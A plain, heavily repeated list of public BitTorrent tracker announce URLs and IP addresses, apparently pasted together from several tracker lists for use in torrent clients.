+http://tracker.kuroy.me:5944/announce +http://retracker.krs-ix.ru/announce +http://open.acgtracker.com:1096/announce +http://bt2.careland.com.cn:6969/announce +http://open.lolicon.eu:7777/announce +https://www.wareztorrent.com/announce +udp://213.163.67.56:1337/announce +http://213.163.67.56:1337/announce +udp://185.86.149.205:1337/announce +http://74.82.52.209:6969/announce +udp://94.23.183.33:6969/announce +udp://74.82.52.209:6969/announce +udp://151.80.120.114:2710/announce +udp://109.121.134.121:1337/announce +udp://168.235.67.63:6969/announce +http://109.121.134.121:1337/announce +udp://178.33.73.26:2710/announce +http://178.33.73.26:2710/announce +http://85.17.19.180/announce +udp://85.17.19.180:80/announce +http://210.244.71.25:6969/announce +http://85.17.19.180/announce +http://213.159.215.198:6970/announce +udp://191.101.229.236:1337/announce +http://178.175.143.27/announce +udp://89.234.156.205:80/announce +http://91.216.110.47/announce +http://114.55.113.60:6969/announce +http://195.123.209.37:1337/announce +udp://114.55.113.60:6969/announce +http://210.244.71.26:6969/announce +udp://107.150.14.110:6969/announce +udp://5.79.249.77:6969/announce +udp://195.123.209.37:1337/announce +udp://37.19.5.155:2710/announce +http://107.150.14.110:6969/announce +http://5.79.249.77:6969/announce +udp://185.5.97.139:8089/announce +udp://194.106.216.222:80/announce +udp://91.218.230.81:6969/announce +https://104.28.17.69/announce +http://104.28.16.69/announce +http://185.5.97.139:8089/announce +http://194.106.216.222/announce +http://80.246.243.18:6969/announce +http://37.19.5.139:6969/announce +udp://5.79.83.193:6969/announce +udp://46.4.109.148:6969/announce +udp://51.254.244.161:6969/announce +udp://188.165.253.109:1337/announce +http://91.217.91.21:3218/announce +http://37.19.5.155:6881/announce +http://46.4.109.148:6969/announce +http://51.254.244.161:6969/announce +http://104.28.1.30:8080/announce +http://81.200.2.231/announce +http://157.7.202.64:8080/announce +http://87.248.186.252:8080/announce +udp://128.199.70.66:5944/announce +udp://182.176.139.129:6969/announce +http://128.199.70.66:5944/announce +http://188.165.253.109:1337/announce +http://93.92.64.5/announce +http://173.254.204.71:1096/announce +udp://195.123.209.40:80/announce +udp://62.212.85.66:2710/announce +udp://208.67.16.113:8000/announce +http://125.227.35.196:6969/announce +http://59.36.96.77:6969/announce +http://87.253.152.137/announce +http://158.69.146.212:7777/announce +udp://tracker.coppersurfer.tk:6969/announce +udp://zer0day.ch:1337/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://9.rarbg.com:2710/announce +udp://p4p.arenabg.com:1337/announce +udp://tracker.sktorrent.net:6969/announce +udp://tracker.aletorrenty.pl:2710/announce +udp://tracker.kicks-ass.net:80/announce +udp://torrent.gresille.org:80/announce +udp://tracker.skyts.net:6969/announce +udp://tracker.yoshi210.com:6969/announce +udp://tracker.tiny-vps.com:6969/announce +udp://tracker.internetwarriors.net:1337/announce +udp://mgtracker.org:2710/announce +udp://tracker.filetracker.pl:8089/announce +udp://tracker.ex.ua:80/announce +udp://91.218.230.81:6969/announce +udp://tracker.grepler.com:6969/announce +udp://tracker.flashtorrents.org:6969/announce +udp://tracker.bittor.pw:1337/announce +udp://tracker.kuroy.me:5944/announce +udp://182.176.139.129:6969/announce +udp://open.stealth.si:80/announce +udp://208.67.16.113:8000/announce +udp://tracker.coppersurfer.tk:6969/announce +http://tracker.opentrackr.org:1337/announce +udp://zer0day.ch:1337/announce +http://explodie.org:6969/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://9.rarbg.com:2710/announce +udp://p4p.arenabg.com:1337/announce +udp://tracker.sktorrent.net:6969/announce +http://p4p.arenabg.com:1337/announce +udp://tracker.aletorrenty.pl:2710/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.bittorrent.am/announce +udp://tracker.kicks-ass.net:80/announce +http://tracker.kicks-ass.net/announce +http://tracker.baravik.org:6970/announce +udp://tracker.piratepublic.com:1337/announce +udp://213.163.67.56:1337/announce +http://213.163.67.56:1337/announce +udp://185.86.149.205:1337/announce +http://74.82.52.209:6969/announce +udp://94.23.183.33:6969/announce +udp://74.82.52.209:6969/announce +udp://151.80.120.114:2710/announce +udp://109.121.134.121:1337/announce +udp://168.235.67.63:6969/announce +http://109.121.134.121:1337/announce +udp://178.33.73.26:2710/announce +http://178.33.73.26:2710/announce +http://85.17.19.180/announce +udp://85.17.19.180:80/announce +http://210.244.71.25:6969/announce +http://85.17.19.180/announce + +http://tracker.dutchtracking.nl:80/announce +http://tracker.edoardocolombo.eu:6969/announce +http://tracker.ex.ua:80/announce +http://tracker.kicks-ass.net:80/announce +http://tracker.mg64.net:6881/announce +http://tracker.tfile.me/announce +http://tracker1.wasabii.com.tw:6969/announce +http://tracker2.itzmx.com:6961/announce +http://tracker2.wasabii.com.tw:6969/announce +http://www.wareztorrent.com:80/announce +udp://bt.xxx-tracker.com:2710/announce +udp://eddie4.nl:6969/announce +udp://shadowshq.eddie4.nl:6969/announce +udp://shadowshq.yi.org:6969/announce +udp://tracker.eddie4.nl:6969/announce +udp://tracker.mg64.net:2710/announce +udp://tracker.mg64.net:6969/announce +udp://tracker.opentrackr.org:1337/announce +udp://tracker.sktorrent.net:6969 +udp://tracker2.indowebster.com:6969/announce +udp://tracker4.piratux.com:6969/announce +udp://tracker.coppersurfer.tk:6969/announce +http://tracker.opentrackr.org:1337/announce +udp://zer0day.ch:1337/announce +http://explodie.org:6969/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://9.rarbg.com:2710/announce +udp://p4p.arenabg.com:1337/announce +udp://tracker.sktorrent.net:6969/announce +http://p4p.arenabg.com:1337/announce +udp://tracker.aletorrenty.pl:2710/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.bittorrent.am/announce +udp://tracker.kicks-ass.net:80/announce +http://tracker.kicks-ass.net/announce +http://tracker.baravik.org:6970/announce +udp://tracker.piratepublic.com:1337/announce +udp://torrent.gresille.org:80/announce +http://torrent.gresille.org/announce +http://tracker.skyts.net:6969/announce +http://tracker.internetwarriors.net:1337/announce +udp://tracker.skyts.net:6969/announce +http://tracker.dutchtracking.nl/announce +udp://tracker.yoshi210.com:6969/announce +udp://tracker.tiny-vps.com:6969/announce +udp://tracker.internetwarriors.net:1337/announce +udp://mgtracker.org:2710/announce +http://tracker.yoshi210.com:6969/announce +http://tracker.tiny-vps.com:6969/announce +udp://tracker.filetracker.pl:8089/announce +udp://tracker.ex.ua:80/announce +udp://91.218.230.81:6969/announce +https://www.wareztorrent.com/announce +http://www.wareztorrent.com/announce +http://tracker.filetracker.pl:8089/announce +http://tracker.ex.ua/announce +http://tracker.calculate.ru:6969/announce +udp://tracker.grepler.com:6969/announce +udp://tracker.flashtorrents.org:6969/announce +udp://tracker.bittor.pw:1337/announce +http://tracker.tvunderground.org.ru:3218/announce +http://tracker.grepler.com:6969/announce +http://tracker.flashtorrents.org:6969/announce +http://retracker.gorcomnet.ru/announce +http://bt.pusacg.org:8080/announce +http://87.248.186.252:8080/announce +udp://tracker.kuroy.me:5944/announce +udp://182.176.139.129:6969/announce +http://tracker.kuroy.me:5944/announce +http://retracker.krs-ix.ru/announce +http://open.acgtracker.com:1096/announce +udp://open.stealth.si:80/announce +udp://208.67.16.113:8000/announce +http://tracker.dler.org:6969/announce +http://bt2.careland.com.cn:6969/announce +http://open.lolicon.eu:7777/announce +http://tracker.opentrackr.org:1337/announce +http://explodie.org:6969/announce +http://p4p.arenabg.com:1337/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.bittorrent.am/announce +http://tracker.kicks-ass.net/announce +http://tracker.baravik.org:6970/announce +http://torrent.gresille.org/announce +http://tracker.skyts.net:6969/announce +http://tracker.internetwarriors.net:1337/announce +http://tracker.dutchtracking.nl/announce +http://tracker.yoshi210.com:6969/announce +http://tracker.tiny-vps.com:6969/announce +http://www.wareztorrent.com/announce +http://tracker.filetracker.pl:8089/announce +http://tracker.ex.ua/announce +http://tracker.calculate.ru:6969/announce +http://tracker.tvunderground.org.ru:3218/announce +http://tracker.grepler.com:6969/announce +http://tracker.flashtorrents.org:6969/announce +http://retracker.gorcomnet.ru/announce +http://bt.pusacg.org:8080/announce +http://87.248.186.252:8080/announce +http://tracker.kuroy.me:5944/announce +http://retracker.krs-ix.ru/announce +http://open.acgtracker.com:1096/announce +http://bt2.careland.com.cn:6969/announce +http://open.lolicon.eu:7777/announce +https://www.wareztorrent.com/announce +udp://213.163.67.56:1337/announce +http://213.163.67.56:1337/announce +udp://185.86.149.205:1337/announce +http://74.82.52.209:6969/announce +udp://94.23.183.33:6969/announce +udp://74.82.52.209:6969/announce +udp://151.80.120.114:2710/announce +udp://109.121.134.121:1337/announce +udp://168.235.67.63:6969/announce +http://109.121.134.121:1337/announce +udp://178.33.73.26:2710/announce +http://178.33.73.26:2710/announce +http://85.17.19.180/announce +udp://85.17.19.180:80/announce +http://210.244.71.25:6969/announce +http://85.17.19.180/announce +http://213.159.215.198:6970/announce +udp://191.101.229.236:1337/announce +http://178.175.143.27/announce +udp://89.234.156.205:80/announce +http://91.216.110.47/announce +http://114.55.113.60:6969/announce +http://195.123.209.37:1337/announce +udp://114.55.113.60:6969/announce +http://210.244.71.26:6969/announce +udp://107.150.14.110:6969/announce +udp://5.79.249.77:6969/announce +udp://195.123.209.37:1337/announce +udp://37.19.5.155:2710/announce +http://107.150.14.110:6969/announce +http://5.79.249.77:6969/announce +udp://185.5.97.139:8089/announce +udp://194.106.216.222:80/announce +udp://91.218.230.81:6969/announce +https://104.28.17.69/announce +http://104.28.16.69/announce +http://185.5.97.139:8089/announce +http://194.106.216.222/announce +http://80.246.243.18:6969/announce +http://37.19.5.139:6969/announce +udp://5.79.83.193:6969/announce +udp://46.4.109.148:6969/announce +udp://51.254.244.161:6969/announce +udp://188.165.253.109:1337/announce +http://91.217.91.21:3218/announce +http://37.19.5.155:6881/announce +http://46.4.109.148:6969/announce +http://51.254.244.161:6969/announce +http://104.28.1.30:8080/announce +http://81.200.2.231/announce +http://157.7.202.64:8080/announce +http://87.248.186.252:8080/announce +udp://128.199.70.66:5944/announce +udp://182.176.139.129:6969/announce +http://128.199.70.66:5944/announce +http://188.165.253.109:1337/announce +http://93.92.64.5/announce +http://173.254.204.71:1096/announce +udp://195.123.209.40:80/announce +udp://62.212.85.66:2710/announce +udp://208.67.16.113:8000/announce +http://125.227.35.196:6969/announce +http://59.36.96.77:6969/announce +http://87.253.152.137/announce +http://158.69.146.212:7777/announce +udp://tracker.coppersurfer.tk:6969/announce +udp://zer0day.ch:1337/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://9.rarbg.com:2710/announce +udp://p4p.arenabg.com:1337/announce +udp://tracker.sktorrent.net:6969/announce +udp://tracker.aletorrenty.pl:2710/announce +udp://tracker.kicks-ass.net:80/announce +udp://tracker.piratepublic.com:1337/announce +udp://torrent.gresille.org:80/announce +udp://tracker.skyts.net:6969/announce +udp://tracker.yoshi210.com:6969/announce +udp://tracker.tiny-vps.com:6969/announce +udp://tracker.internetwarriors.net:1337/announce +udp://mgtracker.org:2710/announce +udp://tracker.filetracker.pl:8089/announce +udp://tracker.ex.ua:80/announce +udp://91.218.230.81:6969/announce +udp://tracker.grepler.com:6969/announce +udp://tracker.flashtorrents.org:6969/announce +udp://tracker.bittor.pw:1337/announce +udp://tracker.kuroy.me:5944/announce +udp://182.176.139.129:6969/announce +udp://open.stealth.si:80/announce +udp://208.67.16.113:8000/announce +udp://tracker.coppersurfer.tk:6969/announce +http://tracker.opentrackr.org:1337/announce +udp://zer0day.ch:1337/announce +http://explodie.org:6969/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://9.rarbg.com:2710/announce +udp://p4p.arenabg.com:1337/announce +udp://tracker.sktorrent.net:6969/announce +http://p4p.arenabg.com:1337/announce +udp://tracker.aletorrenty.pl:2710/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.bittorrent.am/announce +udp://tracker.kicks-ass.net:80/announce +http://tracker.kicks-ass.net/announce +http://tracker.baravik.org:6970/announce +udp://tracker.piratepublic.com:1337/announce +udp://213.163.67.56:1337/announce +http://213.163.67.56:1337/announce +udp://185.86.149.205:1337/announce +http://74.82.52.209:6969/announce +udp://94.23.183.33:6969/announce +udp://74.82.52.209:6969/announce +udp://151.80.120.114:2710/announce +udp://109.121.134.121:1337/announce +udp://168.235.67.63:6969/announce +http://109.121.134.121:1337/announce +udp://178.33.73.26:2710/announce +http://178.33.73.26:2710/announce +http://85.17.19.180/announce +udp://85.17.19.180:80/announce +http://210.244.71.25:6969/announce +http://85.17.19.180/announce +udp://tracker.blackunicorn.xyz:6969/announceudp://castradio.net:6969/announce +http://castradio.net:6969/announce +udp://open.demonii.com:1337/announce +udp://open.demonii.com:6969/announce +http://open.demonii.com:1337/announce +http://open.demonii.com:6969/announce +udp://exodus.desync.com:80/announce +udp://exodus.desync.com:6969/announce +udp://tracker.glotorrents.com:6969/announce +http://tracker.glotorrents.com:6969/announce +udp://tracker.glotorrents.pw:6969/announce +http://tracker.glotorrents.pw:6969/announce +udp://tracker.leechers-paradise.org:80/announce +udp://tracker.leechers-paradise.org:6969/announce +http://tracker.leechers-paradise.org:80/announce +http://tracker.leechers-paradise.org:6969/announce +udp://tracker.openbittorrent.com:80/announce +udp://tracker.openbittorrent.com:6969/announce +http://tracker.openbittorrent.com:80/announce +http://tracker.openbittorrent.com:6969/announce +udp://tracker.publicbt.com:80/announce +udp://tracker.publicbt.com:6969/announce +http://tracker.publicbt.com:80/announce +http://tracker.publicbt.com:6969/announce +udp://tracker.x4w.co:6969/announce +http://tracker.x4w.co:6969/announce +udp://open.acgtracker.com:1096/announce +udp://tracker.aletorrenty.pl:2710/announce +http://tracker.aletorrenty.pl:2710/announce +udp://anisaishuu.de:2710/announce +http://anisaishuu.de:2710/announce +udp://p4p.arenabg.com:1337/announce +http://p4p.arenabg.com:1337/announce +udp://tracker.dutchtracking.com:80/announce +http://tracker.dutchtracking.com:80/announce +udp://tracker.dutchtracking.nl:80/announce +http://tracker.dutchtracking.nl:80/announce +udp://tracker.ex.ua:80/announce +http://tracker.ex.ua:80/announce +udp://explodie.org:6969/announce +udp://torrent.gresille.org:80/announce +http://torrent.gresille.org:80/announce +udp://tracker.kicks-ass.net:80/announce +http://tracker.kicks-ass.net:80/announce +udp://retracker.krs-ix.ru:80/announce +http://retracker.krs-ix.ru:80/announce +udp://megapeer.org:6969/announce +http://megapeer.org:6969/announce +udp://mgtracker.org:2710/announce +http://mgtracker.org:2710/announce +udp://tracker.ohys.net:80/announce +http://tracker.ohys.net:80/announce +udp://tracker.opentrackr.org:1337/announce +http://tracker.opentrackr.org:1337/announce +udp://tracker4.piratux.com:6969/announce +http://tracker4.piratux.com:6969/announce +udp://tracker.pubt.net:2710/announce +http://tracker.pubt.net:2710/announce +udp://pubt.net:2710/announce +http://pubt.net:2710/announce +udp://9.rarbg.com:80/announce +udp://9.rarbg.com:2710/announce +udp://tracker.skyts.net:6969/announce +http://tracker.skyts.net:6969/announce +udp://retracker.telecom.kz:80/announce +http://retracker.telecom.kz:80/announce +udp://tracker.tiny-vps.com:6969/announce +http://tracker.tiny-vps.com:6969/announce +udp://tracker2.torrentino.com:80/announce +http://tracker2.torrentino.com:80/announce +udp://torrentsmd.com:6969/announce +udp://torrentsmd.com:8080/announce +http://torrentsmd.com:6969/announce +http://torrentsmd.com:8080/announce +udp://tracker.tricitytorrents.com:2710/announce +http://tracker.tricitytorrents.com:2710/announce +udp://www.wareztorrent.com:80/announce +udp://www.wareztorrent.com:6969/announce +http://www.wareztorrent.com:80/announce +http://www.wareztorrent.com:6969/announce +udp://tracker4.infohash.org:80/announce +udp://tracker4.infohash.org:6969/announce +http://tracker4.infohash.org:80/announce +http://tracker4.infohash.org:6969/announce +udp://91.218.230.81:80/announce +udp://91.218.230.81:6969/announce +http://91.218.230.81:80/announce +http://91.218.230.81:6969/announce +udp://bttrack.9you.com:80/announce +http://bttrack.9you.com:80/announce +udp://tracker.anime-miako.to:6969/announce +http://tracker.anime-miako.to:6969/announce +udp://i.bandito.org:80/announce +udp://bandito.org:80/announce +udp://tracker.best-torrents.net:6969/announce +http://tracker.best-torrents.net:6969/announce +udp://bigtorrent.org:2710/announce +udp://tracker.bitreactor.to:2710/announce +udp://tracker.btzoo.eu:80/announce +udp://bulkpeers.com:2710/announce +udp://bt.careland.com.cn:6969/announce +http://bt.careland.com.cn:6969/announce +udp://tracker.ccc.de:80/announce +http://tracker.ccc.de:80/announce +udp://cpleft.com:2710/announce +http://cpleft.com:2710/announce +udp://craiovatracker.com:80/announce +http://craiovatracker.com:80/announce +udp://inferno.demonoid.ooo:3389/announce +udp://inferno.demonoid.ooo:3392/announce +udp://inferno.demonoid.ooo:3399/announce +udp://inferno.demonoid.ooo:3405/announce +udp://inferno.demonoid.ooo:3406/announce +udp://inferno.demonoid.ooo:3407/announce +udp://inferno.demonoid.ooo:3414/announce +http://inferno.demonoid.ooo:3392/announce +http://inferno.demonoid.ooo:3399/announce +udp://dendox.org:1471/announce +udp://divxhunt.me:80/announce +http://divxhunt.me:80/announce +udp://tracker.dler.org:6969/announce +udp://bt.e-burg.org:2710/announce +udp://www.elitezones.ro:80/announce +http://www.elitezones.ro:80/announce +udp://elitezones.ro:80/announce +http://elitezones.ro:80/announce +udp://retracker.nn.ertelecom.ru:80/announce +udp://tracker.flashtorrents.org:80/announce +http://tracker.flashtorrents.org:80/announce +udp://tracker.gaytorrent.ru:80/announce +http://tracker.gaytorrent.ru:80/announce +udp://grabthe.info:80/announce +http://grabthe.info:80/announce +udp://tracker.hdcmct.com:2710/announce +http://tracker.hdcmct.com:2710/announce +udp://tracker.hdreactor.org:2710/announce +http://tracker.hdreactor.org:2710/announce +udp://bt.home-ix.ru:80/announce +udp://torrent.jiwang.cc:80/announce +http://torrent.jiwang.cc:80/announce +udp://retracker.kld.ru:80/announce +udp://retracker.kld.ru:2710/announce +udp://kubanmedia.org:2710/announce +http://kubanmedia.org:2710/announce +udp://tracker.marshyonline.net:80/announce +http://tracker.marshyonline.net:80/announce +udp://masters-tb.com:80/announce +http://masters-tb.com:80/announce +udp://tracker.minglong.org:8080/announce +http://tracker.minglong.org:8080/announce +udp://www.music-vid.com:80/announce +http://www.music-vid.com:80/announce +udp://www.mvgroup.org:2710/announce +http://www.mvgroup.org:2710/announce +udp://tracker.novalayer.org:6969/announce +udp://open.nyaatorrents.info:6544/announce +http://open.nyaatorrents.info:6544/announce +udp://announce.opensharing.org:2710/announce +http://announce.opensharing.org:2710/announce +udp://opensharing.org:2710/announce +http://opensharing.org:2710/announce +udp://pornograd.net:80/announce +http://pornograd.net:80/announce +udp://rds-zone.ro:80/announce +http://rds-zone.ro:80/announce +udp://bt.rutor.org:2710/announce +http://bt.rutor.org:2710/announce +udp://tracker.seedceo.com:2710/announce +udp://tracker.seedceo.vn:2710/announce +udp://siambit.com:80/announce +http://siambit.com:80/announce +udp://torrent-downloads.to:5869/announce +http://torrent-downloads.to:5869/announce +udp://torrent-tracker.ru:80/announce +http://torrent-tracker.ru:80/announce +udp://tracker.torrentbay.to:6969/announce +udp://tracker.torrentfrancais.com:80/announce +http://tracker.torrentfrancais.com:80/announce +udp://tracker.torrentparty.com:6969/announce +udp://tracker.torrenty.org:6969/announce +udp://tracker.trackerfix.com:80/announce +http://tracker.trackerfix.com:80/announce +udp://traht.org:80/announce +http://traht.org:80/announce +udp://unhide-torrents.org:80/announce +http://unhide-torrents.org:80/announce +udp://trackeropenbittorrent.uni.me:80/announce +http://trackeropenbittorrent.uni.me:80/announce +udp://www.unlimitz.com:80/announce +http://www.unlimitz.com:80/announce +udp://papaja.v2v.cc:6970/announce +http://papaja.v2v.cc:6970/announce +udp://tracker1.wasabii.com.tw:6969/announce +udp://tracker.windsormetalbattery.com:80/announce +http://tracker.windsormetalbattery.com:80/announce +udp://tracker.yify-torrents.com:80/announce +http://tracker.yify-torrents.com:80/announce +udp://91.121.54.8:80/announce +udp://91.121.54.8:6969/announce +http://91.121.54.8:80/announce +http://91.121.54.8:6969/announce +udp://94.228.192.98:80/announce +udp://94.228.192.98:6969/announce +http://94.228.192.98:6969/announce +udp://122.179.83.96:31299/announce +udp://121.14.98.151:80/announce +udp://121.14.98.151:9090/announce +udp://193.107.16.156:80/announce +udp://193.107.16.156:2710/announce +http://193.107.16.156:80/announce +http://193.107.16.156:2710/announce +udp://208.67.16.113:80/announce +udp://208.67.16.113:6969/announce +http://182.176.139.129:6969/announce +http://5.79.83.193:2710/announce +http://91.218.230.81:6969/announce +http://atrack.pow7.com/announce +http://bt.henbt.com:2710/announce +http://mgtracker.org:2710/announce +http://mgtracker.org:6969/announce +http://open.touki.ru/announce.php +http://p4p.arenabg.ch:1337/announce +http://pow7.com:80/announce +http://retracker.krs-ix.ru:80/announce +http://secure.pow7.com/announce +http://t1.pow7.com/announce +http://t2.pow7.com/announce +http://thetracker.org:80/announce +http://torrentsmd.com:8080/announce +http://tracker.bittor.pw:1337/announce +http://tracker.dutchtracking.com:80/announce +http://tracker.dutchtracking.nl:80/announce +http://tracker.edoardocolombo.eu:6969/announce +http://tracker.ex.ua:80/announce +http://tracker.kicks-ass.net:80/announce +http://tracker1.wasabii.com.tw:6969/announce +http://tracker2.itzmx.com:6961/announce +http://www.wareztorrent.com:80/announce +udp://62.138.0.158:6969/announce +udp://eddie4.nl:6969/announce +udp://explodie.org:6969/announce +udp://shadowshq.eddie4.nl:6969/announce +udp://shadowshq.yi.org:6969/announce +udp://tracker.eddie4.nl:6969/announce +udp://tracker.mg64.net:2710/announce +udp://tracker.sktorrent.net:6969 +udp://tracker2.indowebster.com:6969/announce +udp://tracker4.piratux.com:6969/announce +http://atrack.pow7.com/announce +http://bt.henbt.com:2710/announce +http://mgtracker.org:2710/announce +http://mgtracker.org:6969/announce +http://open.touki.ru/announce.php +http://p4p.arenabg.ch:1337/announce +http://pow7.com:80/announce +http://retracker.krs-ix.ru:80/announce +http://secure.pow7.com/announce +http://t1.pow7.com/announce +http://t2.pow7.com/announce +http://thetracker.org:80/announce +http://torrentsmd.com:8080/announce +http://tracker.bittor.pw:1337/announce +http://tracker.dutchtracking.com/announce +http://tracker.dutchtracking.com:80/announce + + +udp://tracker.skyts.net:6969/announce + +udp://tracker.safe.moe:6969/announce + +udp://tracker.piratepublic.com:1337/announce + +udp://tracker.pirateparty.gr:6969/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://tracker.coppersurfer.tk:6969/announce + +http://tracker.leechers-paradise.org:80/announce + +udp://allesanddro.de:1337/announce + +udp://9.rarbg.com:2710/announce + +http://p4p.arenabg.com:1337/announce + +udp://p4p.arenabg.com:1337/announce + +udp://tracker.opentrackr.org:1337/announce + +udp://tracker.internetwarriors.net:1337/announce + +http://tracker.opentrackr.org:1337/announce + +http://tracker.internetwarriors.net:1337/announce + +udp://public.popcorn-tracker.org:6969/announce + +udp://peerfect.org:6969/announce + +http://91.218.230.81:6969/announce + +udp://tracker.mg64.net:6969/announce + +udp://open.facedatabg.net:6969/announce + +udp://mgtracker.org:6969/announce + +udp://explodie.org:6969/announce + +http://tracker.mg64.net:6881/announce + +http://mgtracker.org:6969/announce + +udp://ipv4.tracker.harry.lu:80/announce + +http://tracker1.wasabii.com.tw:6969/announce + +http://ipv4.tracker.harry.lu:80/announce + +udp://zephir.monocul.us:6969/announce + +udp://z.crazyhd.com:2710/announce + +udp://wambo.club:1337/announce + +udp://tracker.vanitycore.co:6969/announce + +udp://tracker.tvunderground.org.ru:3218/announce + +udp://tracker.torrent.eu.org:451/announce + +udp://tracker.tiny-vps.com:6969/announce + +udp://tracker.swateam.org.uk:2710/announce + +udp://tracker.halfchub.club:6969/announce + +udp://tracker.grepler.com:6969/announce + +udp://tracker.files.fm:6969/announce + +udp://tracker.dutchtracking.com:6969/announce + +udp://tracker.dler.org:6969/announce + +udp://tracker.desu.sh:6969/announce + +udp://tracker.cypherpunks.ru:6969/announce + +udp://tracker.cyberia.is:6969/announce + +udp://tracker.christianbro.pw:6969/announce + +udp://tracker.bluefrog.pw:2710/announce + +udp://tracker.acg.gg:2710/announce + +udp://thetracker.org:80/announce + +udp://tc.animereactor.ru:8082/announce + +udp://santost12.xyz:6969/announce + +udp://sandrotracker.biz:1337/announce + +udp://retracker.nts.su:2710/announce + +udp://retracker.lanta-net.ru:2710/announce + +udp://oscar.reyesleon.xyz:6969/announce + +udp://open.stealth.si:80/announce + +udp://inferno.demonoid.pw:3418/announce + +udp://bt.xxx-tracker.com:2710/announce + +udp://bt.aoeex.com:8000/announce + +udp://86.19.29.160:6969/announce + +udp://208.67.16.113:8000/announce + +http://tracker2.itzmx.com:6961/announce + +http://tracker.vanitycore.co:6969/announce + +http://tracker.torrentyorg.pl:80/announce + +http://tracker.electro-torrent.pl:80/announce + +http://tracker.devil-torrents.pl:80/announce + +http://tracker.city9x.com:2710/announce + +http://torrentsmd.me:8080/announce + +http://torrent.nwps.ws:6969/announce + +http://t.nyaatracker.com:80/announce + +http://sandrotracker.biz:1337/announce + +http://retracker.telecom.by:80/announce + +http://retracker.mgts.by:80/announce + +http://pt.lax.mx:80/announce + +http://omg.wtftrackr.pw:1337/announce + +http://fxtt.ru:80/announce + +http://agusiq-torrents.pl:6969/announce + +udp://trackerxyz.tk:1337/announce + +udp://tracker4.itzmx.com:2710/announce + +udp://tracker2.christianbro.pw:6969/announce + +udp://tracker1.xku.tv:6969/announce + +udp://tracker1.wasabii.com.tw:6969/announce + +udp://tracker.xku.tv:6969/announce + +udp://tracker.uw0.xyz:6969/announce + +udp://tracker.kamigami.org:2710/announce + +udp://tracker.justseed.it:1337/announce + +udp://tracker.doko.moe:6969/announce + +udp://packages.crunchbangplusplus.org:6969/announce + +http://tracker.videodrugproject.com:80/announce + +http://tracker.tfile.me:80/announce + +http://share.camoe.cn:8080/announce + +http://retracker.omsk.ru:2710/announce + +http://open.acgtracker.com:1096/announce + + +http://share.camoe.cn:8080/announce + +udp://tracker.torrent.eu.org:451/announce + +http://t.nyaatracker.com:80/announce + +udp://tracker.doko.moe:6969/announce + +http://asnet.pw:2710/announce + +udp://thetracker.org:80/announce + +http://tracker.tfile.co:80/announce + +http://pt.lax.mx:80/announce + +udp://santost12.xyz:6969/announce + +https://tracker.bt-hash.com:443/announce + +udp://bt.xxx-tracker.com:2710/announce + +udp://tracker.vanitycore.co:6969/announce + +udp://zephir.monocul.us:6969/announce + +http://grifon.info:80/announce + +http://retracker.spark-rostov.ru:80/announce + +http://tr.kxmp.cf:80/announce + +http://tracker.city9x.com:2710/announce + +udp://bt.aoeex.com:8000/announce + +http://tracker.tfile.me:80/announce + +udp://tracker.tiny-vps.com:6969/announce + +http://retracker.telecom.by:80/announce + +http://tracker.electro-torrent.pl:80/announce + +udp://tracker.tvunderground.org.ru:3218/announce + +udp://tracker.halfchub.club:6969/announce + +udp://retracker.nts.su:2710/announce + +udp://wambo.club:1337/announce + +udp://tracker.dutchtracking.com:6969/announce + +udp://tc.animereactor.ru:8082/announce + +udp://tracker.justseed.it:1337/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://tracker.opentrackr.org:1337/announce + +https://open.kickasstracker.com:443/announce + +udp://tracker.coppersurfer.tk:6969/announce + +udp://open.stealth.si:80/announce + +http://retracker.mgts.by:80/announce + +http://retracker.bashtel.ru:80/announce + +udp://inferno.demonoid.pw:3418/announce + +udp://tracker.cypherpunks.ru:6969/announce + +udp://tracker.cyberia.is:6969/announce + +http://tracker.devil-torrents.pl:80/announce + +udp://tracker2.christianbro.pw:6969/announce + +udp://retracker.lanta-net.ru:2710/announce + +udp://tracker.internetwarriors.net:1337/announce + +udp://ulfbrueggemann.no-ip.org:6969/announce + +http://torrentsmd.eu:8080/announce + +udp://peerfect.org:6969/announce + +udp://tracker.swateam.org.uk:2710/announce + +http://ns349743.ip-91-121-106.eu:80/announce + +http://torrentsmd.me:8080/announce + +http://agusiq-torrents.pl:6969/announce + +http://fxtt.ru:80/announce + + + +udp://tracker.coppersurfer.tk:6969/announce + +udp://tracker.leechers-paradise.org:6969/announce + +udp://tracker.zer0day.to:1337/announce + +udp://tracker.opentrackr.org:1337/announce + +http://tracker.opentrackr.org:1337/announce + +udp://p4p.arenabg.com:1337/announce + +http://p4p.arenabg.com:1337/announce + +udp://9.rarbg.com:2710/announce + +http://explodie.org:6969/announce + +udp://explodie.org:6969/announce + +http://tracker.dler.org:6969/announce + +udp://tracker.internetwarriors.net:1337/announce + +udp://tracker1.wasabii.com.tw:6969/announce + +udp://tracker2.wasabii.com.tw:6969/announce + +udp://tracker.mg64.net:6969/announce + +udp://mgtracker.org:6969/announce + +udp://mgtracker.org:2710/announce + +udp://ipv4.tracker.harry.lu:80/announce + +http://tracker1.wasabii.com.tw:6969/announce + +http://mgtracker.org:6969/announce + +http://tracker2.wasabii.com.tw:6969/announce + +http://tracker.sktorrent.net:6969/announce + +http://tracker.mg64.net:6881/announce + +http://ipv4.tracker.harry.lu:80/announce + +udp://tracker.vanitycore.co:6969/announce + +udp://tracker.baravik.org:6970/announce + +udp://bt.xxx-tracker.com:2710/announce + +http://tracker.vanitycore.co:6969/announce + +http://tracker.baravik.org:6970/announce + +udp://tracker.kamigami.org:2710/announce + +udp://tracker.grepler.com:6969/announce + +udp://tracker.filetracker.pl:8089/announce + +http://tracker.tiny-vps.com:6969/announce + +http://tracker.grepler.com:6969/announce + +http://tracker.filetracker.pl:8089/announce + +udp://tracker.tiny-vps.com:6969/announce + +http://bt.artvid.ru:6969/announce + +http://torrentsmd.com:8080/announce + +udp://zephir.monocul.us:6969/announce + +udp://tracker.torrent.eu.org:451/announce + +udp://tracker.skyts.net:6969/announce + +udp://tracker.sith.su:80/announce + +udp://tracker.kuroy.me:5944/announce + +udp://tracker.files.fm:6969/announce + +udp://tracker.desu.sh:6969/announce + 